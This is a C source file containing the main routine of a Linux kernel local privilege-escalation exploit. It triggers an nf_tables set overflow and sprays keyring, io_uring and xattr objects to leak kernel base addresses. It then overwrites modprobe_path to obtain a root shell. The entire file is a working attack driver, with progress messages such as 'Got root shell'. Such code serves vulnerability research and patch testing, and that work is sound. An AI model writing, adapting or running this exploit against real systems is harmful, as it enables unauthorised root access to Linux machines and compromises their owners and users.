#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>

#include "log.h"
#include "util.h"
#include "uring.h"
#include "keyring.h"
#include "modprobe.h"
#include "nf_tables.h"
#include "simple_xattr.h"

#define ID 1337
#define SET_NAME "name\0\0\0"
#define LEAK_SET_NAME "leak\0\0\0"
#define TABLE_NAME "table\0\0"

#define SPRAY_SIZE 300

int main(int argc, char **argv) {
    int sock;
    struct sockaddr_nl snl;
    struct write4_payload payload;
    struct keyring_payload leak_payload;
    struct leak *bases;
    struct fd_uring *fd_buffer;
    key_serial_t *id_buffer;
    char *xattr_target_filename;

    if (argc != 2)
    {
		printf("[-] Usage: %s <payload_path>\n", argv[0]);
		do_error_exit("argerror");
    }

    if (detect_versions() == -1)
    {
		do_error_exit("kernel_offsets");
    }
    /* Pin the process to the first CPU */
    set_cpu_affinity(0, 0);

    prepare_root_shell(argv[1]);
    printf("[+] Second process currently waiting\n");

    new_ns();
    printf("[+] Get CAP_NET_ADMIN capability\n");

    /* Netfilter netlink socket creation */
    if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
        do_error_exit("socket");
    }
    printf("[+] Netlink socket created\n");

    // Binding
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;
    snl.nl_pid = getpid();
    if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) {
        do_error_exit("bind");
    }
    printf("[+] Netlink socket bound\n");

    /* Create a netfilter table */
    create_table(sock, TABLE_NAME);
    printf("[+] Table %s created\n", TABLE_NAME);

    /* Create a netfilter set for the info leak */
    create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
    printf("[+] Set for the leak created\n");

    /*  Create a netfilter set for the write primitive */
    create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
    printf("[+] Set for write primitive created\n");

    /* Prepare the payload for the leak */
    memset(&leak_payload, 0, sizeof(struct keyring_payload));
    leak_payload.len = USHRT_MAX;

    printf("[*] Leak in process\n");
    fflush(stdout);
retry:
    /* Spray the heap with user_key_payload structs to perform an info leak */ 
    id_buffer = spray_keyring(SPRAY_KEY_SIZE);

    /** Perform the overflow to modify the size of a registered key **/
    add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);

    /* Spray the heap with percpu_ref_data */
    fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
    if (!fd_buffer)
        do_error_exit("calloc");
    spray_uring(SPRAY_SIZE, fd_buffer);

    /* Check if the overflow occured on the right object */
    bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
    if (!bases) {
        release_keys(id_buffer, SPRAY_KEY_SIZE);
        release_uring(fd_buffer, SPRAY_SIZE);
        goto retry;
    }
    printf("\r[+] Leak succeed     \n");
    printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
    printf("[+] physmap base found 0x%lx\n", bases->physmap_base);

    /* Prepare the payload for the write primitive */
    memset(&payload, 0, sizeof(struct write4_payload));
    payload.next = (void *)(bases->physmap_base + 0x2f706d74);
    payload.prev = (void *)(bases->kaslr_base + kernels[kernel].modprobe_path + 1);
    payload.name_offset = 0xe5;

respray_xattr:
    /* Spray the heap for the write primitive */
    xattr_target_filename = generate_tmp_filename();
    spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);

    add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);

    /* Proceed to the write */
    if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
        goto respray_xattr;

    printf("[+] modprobe_path changed !\n");

    setup_modprobe_payload(argv[1]);
    printf("[+] Modprobe payload setup\n");
    get_root_shell();

    printf("[+++] Got root shell, should exit?\n");
    /* Win ! */

    exit(EXIT_SUCCESS);
}
